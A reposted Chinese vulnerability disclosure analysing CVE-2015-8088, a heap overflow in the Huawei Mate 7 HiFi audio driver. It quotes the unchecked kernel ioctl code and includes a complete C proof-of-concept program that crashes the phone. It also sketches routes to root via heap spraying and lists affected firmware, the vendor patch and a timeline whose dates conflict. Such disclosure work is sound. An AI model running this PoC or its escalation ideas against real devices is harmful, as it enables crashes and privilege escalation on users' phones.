转载

CVE-2015-8088: 华为智能手机HiFi驱动堆溢出

Shawn:感谢Pray3r的分享,驱动一直以来都是linux内核的重灾区,要以不断修复bug的方式去防御漏洞几乎是1990年代的方案,另外一方面,作为厂商也应该加大代码审计的投入。这篇分析的 英文版已经分享到了DNFWAH Issue 5 上。

By Pray3r

Description

/dev/hifi_misc 是用户空间到内核空间中Hisi 芯片的一个接口,该接口和Hifi相关。我们看到 drivers/hisi/hifidsp/hifi_lpp.c 中的代码,攻击者可以在用户空间下,可以使用 HIFI_MISC_IOCTL_WRITE_PARAMS 参数,并通过调用 ioctl() 执行到该代码路径:

static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg) { [...]  switch(cmd) {   [...]   case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/    ret = hifi_dsp_write_param(arg);           break;   [...]  } [...] }

之后, hifi_dsp_write_param() 函数被调用,它的参数来自用户空间:

int hifi_dsp_write_param(unsigned long arg) {  int ret = OK;  phys_addr_t hifi_param_phy_addr = 0;  void*  hifi_param_vir_addr = NULL;  CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL;  struct misc_io_sync_param para; [...]  if (copy_from_user(&para, (void*)arg, sizeof(struct misc_io_sync_param))) {  // arg --> para   loge("copy_from_user fail./n");   ret = ERROR;   goto error1;  } [...]  hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc  if (NULL == hifi_param_vir_addr) {   loge("hifi_param_vir_addr ioremap fail/n");   ret = ERROR;   goto error2;  } [...]  ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow  if ( ret != 0) {   loge("copy data to hifi error! ret = %d", ret);  } [...] }

参数 arg 是一个结构体指针,指向用户空间的内存。 hifi_dsp_write_param() 函数初始化之后,使用 copy_from_user() 将用户空间的数据 (arg) 拷贝到内核空间中 (para) 。注意,它没做任何验证,就将用户空间下的所用的成员变量拷贝到内核空间中。 para 结构如下:

struct misc_io_sync_param {  void *                  para_in;            unsigned int            para_size_in;        void *                  para_out;            unsigned int            para_size_out;   };

紧接着,又调用了 copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in)

  • hifi_param_vir_addr 指向一块由 ioremap() 分配的堆内存,这块堆内存的大小为 SIZE_PARAM_PRIV (200 * 1024)字节。
  • para.para_in 指针由用户空间控制,它是存储数据的内存。
  • para.para_size_in 是一个 unsigned int 由用户空间控制,它是 para.para_in 的大小。

然而,代码中没有对 para.para_inpara.para_size_in 进行验证,如果 para.para_size_in 大于 200 * 1024 ,例如 300 * 1024 ,将产生一个堆溢出。PoC如下:

/*  *  *  HuaWei Mate7 hifi driver Poc  *  *  Writen by pray3r<pray3r.z@gmail.com>  *  */  #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h>  #define HIFI_MISC_IOCTL_WRITE_PARAMS    _IOWR('A', 0x75, struct misc_io_sync_param)  struct misc_io_sync_param {  void *                  para_in;             unsigned int            para_size_in;         void *                  para_out;             unsigned int            para_size_out;    };  int main(int arg, char **argv) {  int fd;   void *in = malloc(300 * 1024);  void *out = malloc(100);  struct misc_io_sync_param poc;   poc.para_in = in;  poc.para_size_in = 300 * 1024;  poc.para_out = out;  poc.para_size_out = 100;   fd = open("/dev/hifi_misc", O_RDWR);   ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);   free(in);  free(out);   return 0; }

执行这个PoC将导致Mate 7崩溃,请注意,该PoC至少需要在audio或system用户下执行,因为 /dev/hifi_misc 在audio和system用户下才有可写的权限。

Impact

第一,设置一个很大的值给 para.para_size ,手机会崩溃;

第二,如果 para.para_in 指向一个内核结构,使用 heap fengshui 技术可能被利用;

第三,可以使用类似堆喷射 thread_info ,攻击者可能获取到手机的root权限。

/dev/hifi_misc 只有至少在audio或system用户下才有可写权限,所以攻击者想利用该漏洞获取到root权限,可能需要先利用其它漏洞获取到audio或system权限,再去获取root权限。

该利用方式类似于之前Keen Team发布的Mate 7的root工具的利用方式:

1. http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-414174.htm

2. http://forum.xda-developers.com/mate-7/general/wip-mate-7-root-bl-unlock-t2995086

Affected

Model   : HUAWEI MT7-TL10 Version : MT7-TL10V100R001CHNC00B133 Android : 4.4.2 Kernel  : 3.10.30-00015-g049a08f

其它类似的华为手机可能也受影响。

Patch

参考华为官网的信息:

http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htm

TimeLine

Sep 28 2015 - Report sent to Huawei PSIRT

Sep 10 2015 - Huawei confirmed the security issues

Nov 04 2015 - Huawei fixed and public the security issues

Nov 09 2015 - Update CVE number

正文到此结束
Loading...